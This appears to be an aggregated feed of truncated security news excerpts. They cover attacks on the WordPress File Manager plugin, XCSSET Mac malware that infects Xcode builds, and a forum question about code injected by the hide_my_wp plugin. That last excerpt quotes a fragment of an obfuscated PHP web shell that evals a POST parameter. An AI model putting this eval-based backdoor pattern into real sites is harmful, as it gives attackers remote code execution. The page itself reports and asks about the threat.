WordPress websites attacked via File Manager plugin vulnerability

Hackers are exploiting a critical vulnerability that may be affecting hundreds of thousands of websites running WordPress.

The vulnerability lies in versions of the popular third-party plugin WordPress File Manager, which has been installed on over … Continue reading WordPress websites attacked via File Manager plugin vulnerability

WordPress Websites Attacked via File Manager Plugin Vulnerability

Websites are being hijacked by hackers exploiting plugin vulnerability Hackers password-protect compromised sites to keep out rival attackers At-risk websites advised to update WordPress File Manager plugin immediately. Hackers are exploiting a critica… Continue reading WordPress Websites Attacked via File Manager Plugin Vulnerability

This Week in Security: XCode Infections, Freepik, and Crypto Fails

There is a scenario that keep security gurus up at night: Malware that can detect software compilation and insert itself into the resulting binary. A new Mac malware, XCSSET (PDF), does just that, running whenever Xcode is used to build an application. Not only is there the danger of compiled …read more

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hide_my_wp wordpress plugin is activated with php eval function that might trying to read /etc/passwd? Is it true?

When I install this plugin and activate in wordpress, hide_my_wp put some eval codes in wp_options and I see the following code being injected in a new row with the ID called 76624:
upload-dir=./../../,z=@eval/**/(${‘_P’.’OST’}[z9]/**/(${‘… Continue reading hide_my_wp wordpress plugin is activated with php eval function that might trying to read /etc/passwd? Is it true?